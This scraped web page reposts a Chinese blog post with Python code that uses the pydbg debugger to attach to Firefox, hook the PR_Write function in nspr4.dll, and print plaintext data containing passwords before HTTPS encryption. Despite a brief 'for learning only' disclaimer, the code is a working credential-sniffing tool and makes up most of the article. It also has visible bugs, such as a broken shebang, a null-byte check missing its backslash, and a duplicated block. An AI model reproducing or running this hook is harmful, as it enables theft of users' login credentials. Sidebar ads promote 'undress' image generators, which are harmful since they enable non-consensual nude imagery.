Heim Backend-Entwicklung Python-Tutorial python利用hook技术破解https的实例代码

python利用hook技术破解https的实例代码

Jun 06, 2016 am 11:27 AM
hook https

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

代码如下:


#!/ur/bin/env python    
from pydbg import *
from pydbg.defines import *

import utils    
import sys    

dbg = pydbg()    
found_firefox = False

pattern = "password"

         
def ssl_sniff( dbg, args ):    
    buffer = ""    
    offset = 0

    while 1:    
        byte = dbg.read_process_memory( args[1] + offset, 1 )    
        if byte != "x00":    
            buffer += byte    
            offset += 1
            continue
        else:    
            break
    if pattern in buffer:    
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE    
# 寻找firefox.exe的进程    
for (pid, name) in dbg.enumerate_processes():    
    if name.lower() == "firefox.exe":    
        found_firefox = True
        hooks = utils.hook_container()    
        dbg.attach(pid)    
        print "[*] Attaching to firefox.exe with PID: %d" % pid    
# 得到firefox的hook的 address    
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")    
        if hook_address:    
# 添加hook的内容,包括他的pid,地址,嗅探类型   

            hooks.add( dbg, hook_address, 2, ssl_sniff, None )    
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address    
            break
        else:    
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)    
        if found_firefox:    
            print "[*] Hooks set, continuing process."
            dbg.run()    
        else:    
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)    

if found_firefox:    
    print "[*] Hooks set, continuing process."
    dbg.run()    
else:    
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.bitsCN.com/414605/518679

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
2 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
Repo: Wie man Teamkollegen wiederbelebt
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
Hello Kitty Island Abenteuer: Wie man riesige Samen bekommt
4 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

So verwenden Sie Nginx Proxy Manager, um einen automatischen Sprung von HTTP zu HTTPS zu implementieren So verwenden Sie Nginx Proxy Manager, um einen automatischen Sprung von HTTP zu HTTPS zu implementieren Sep 26, 2023 am 11:19 AM

So implementieren Sie den automatischen Sprung von HTTP zu HTTPS mit NginxProxyManager Mit der Entwicklung des Internets beginnen immer mehr Websites, das HTTPS-Protokoll zur Verschlüsselung der Datenübertragung zu verwenden, um die Datensicherheit und den Schutz der Privatsphäre der Benutzer zu verbessern. Da das HTTPS-Protokoll die Unterstützung eines SSL-Zertifikats erfordert, ist bei der Bereitstellung des HTTPS-Protokolls eine gewisse technische Unterstützung erforderlich. Nginx ist ein leistungsstarker und häufig verwendeter HTTP-Server und Reverse-Proxy-Server sowie NginxProxy

So verwenden Sie Nginx Proxy Manager, um einen Reverse-Proxy unter dem HTTPS-Protokoll zu implementieren So verwenden Sie Nginx Proxy Manager, um einen Reverse-Proxy unter dem HTTPS-Protokoll zu implementieren Sep 26, 2023 am 08:40 AM

So implementieren Sie mit NginxProxyManager einen Reverse-Proxy unter dem HTTPS-Protokoll. Mit der Popularität des Internets und der Diversifizierung der Anwendungsszenarien sind die Zugriffsmethoden auf Websites und Anwendungen immer komplexer geworden. Um die Effizienz und Sicherheit des Website-Zugriffs zu verbessern, haben viele Websites damit begonnen, Reverse-Proxys zur Bearbeitung von Benutzeranfragen zu verwenden. Der Reverse-Proxy für das HTTPS-Protokoll spielt eine wichtige Rolle beim Schutz der Privatsphäre der Benutzer und der Gewährleistung der Kommunikationssicherheit. In diesem Artikel wird die Verwendung von NginxProxy vorgestellt

Nginx mit SSL: Konfigurieren Sie HTTPS, um Ihren Webserver zu schützen Nginx mit SSL: Konfigurieren Sie HTTPS, um Ihren Webserver zu schützen Jun 09, 2023 pm 09:24 PM

Nginx ist eine leistungsstarke Webserver-Software und ein leistungsstarker Reverse-Proxy-Server und Load Balancer. Mit der rasanten Entwicklung des Internets beginnen immer mehr Websites, das SSL-Protokoll zum Schutz vertraulicher Benutzerdaten zu verwenden. Nginx bietet außerdem leistungsstarke SSL-Unterstützung, wodurch die Sicherheitsleistung des Webservers noch weiter gesteigert wird. In diesem Artikel erfahren Sie, wie Sie Nginx so konfigurieren, dass es das SSL-Protokoll unterstützt und die Sicherheitsleistung des Webservers schützt. Was ist das SSL-Protokoll? SSL (SecureSocket

Wie sieht der https-Workflow aus? Wie sieht der https-Workflow aus? Apr 07, 2024 am 09:27 AM

Der https-Workflow umfasst Schritte wie vom Client initiierte Anfrage, Serverantwort, SSL/TLS-Handshake, Datenübertragung und clientseitiges Rendering. Durch diese Schritte kann die Sicherheit und Integrität der Daten während der Übertragung gewährleistet werden.

Wie der Vue3-Hook die Vollbild-Containerkomponente von DataV rekonstruiert Wie der Vue3-Hook die Vollbild-Containerkomponente von DataV rekonstruiert May 16, 2023 pm 02:43 PM

Implementieren Sie die Erstellung der Komponente fullScreenContainer.vueimport{useAutoResize}from'@/hooks/useAutoResize' const{autoBindRef}=useAutoResize(), passen Sie einen Hook an und exportieren Sie eine benutzerdefinierte Hook-Datei mit autoBindRef-Bindungsreferenz useAutoResize.tsimport{ref}from' vue' ;exportfunctionuseAutoResize(){l

Wie die Nginx-Firewall sichere HTTPS-Kommunikation gewährleistet Wie die Nginx-Firewall sichere HTTPS-Kommunikation gewährleistet Jun 10, 2023 am 10:16 AM

Im heutigen Internetzeitalter ist sichere Kommunikation zu einem unverzichtbaren Bestandteil geworden. Gerade bei der HTTPS-Kommunikation ist es besonders wichtig, deren Sicherheit zu gewährleisten. Als beliebter Webserver und Reverse-Proxy-Server kann die Firewall von Nginx auch eine wichtige Rolle bei der Gewährleistung der sicheren HTTPS-Kommunikation spielen. In diesem Artikel wird die Nginx-Firewall unter folgenden Gesichtspunkten erläutert. TLS/SSL-Verschlüsselung Die Sicherheitsgarantie der HTTPS-Kommunikation basiert hauptsächlich auf der TLS/SSL-Verschlüsselungstechnologie, die verhindern kann, dass Daten während der Übertragung übertragen werden.

So implementieren Sie mit Nginx die bidirektionale HTTPS-Authentifizierung So implementieren Sie mit Nginx die bidirektionale HTTPS-Authentifizierung Jun 03, 2023 pm 08:38 PM

Der Unterschied zwischen einseitiger und zweiseitiger Überprüfung: Einseitige Überprüfung: bezieht sich darauf, dass der Client das serverseitige Zertifikat überprüft, und der Server muss das Client-Zertifikat nicht überprüfen. Zwei-Wege-Überprüfung: Bezieht sich darauf, dass der Client das serverseitige Zertifikat überprüft, und der Server muss auch das Client-Zertifikat über das öffentliche Schlüsselzertifikat der Zertifizierungsstelle überprüfen. Detaillierter Handshake-Prozess: Einwegauthentifizierung Der Browser sendet eine Verbindungsanfrage an den sicheren Server. 1. Der Server sendet sein eigenes Zertifikat und zertifikatsbezogene Informationen an den Client-Browser. 2. Der Client-Browser prüft, ob das vom Server gesendete Zertifikat von der CA-Zentrale ausgestellt wurde, der er vertraut. Wenn dies der Fall ist, fahren Sie mit der Ausführung der Vereinbarung fort. Wenn nicht, gibt der Browser des Clients eine Warnmeldung aus: Er warnt den Client, dass dieses Zertifikat nicht vertrauenswürdig ist, und fragt den Client, ob er fortfahren muss. 3. Kunden abholen

So konfigurieren Sie https in Tomcat So konfigurieren Sie https in Tomcat Jan 05, 2024 pm 05:15 PM

Konfigurationsschritte: 1. Besorgen Sie sich das SSL-Zertifikat. 3. Bearbeiten Sie die Tomcat-Konfigurationsdatei. Detaillierte Einführung: 1. Sie müssen ein SSL-Zertifikat erhalten, entweder ein selbstsigniertes Zertifikat oder ein gültiges SSL-Zertifikat von einer Zertifizierungsstelle (z. B. Let's Encrypt). 2. Legen Sie das erhaltene SSL-Zertifikat und die privaten Schlüsseldateien auf dem Server ab Stellen Sie sicher, dass sich diese Dateien an einem sicheren Ort befinden und nur Benutzer mit ausreichenden Berechtigungen darauf zugreifen können. 3. Bearbeiten Sie Tomcat-Konfigurationsdateien usw.

See all articles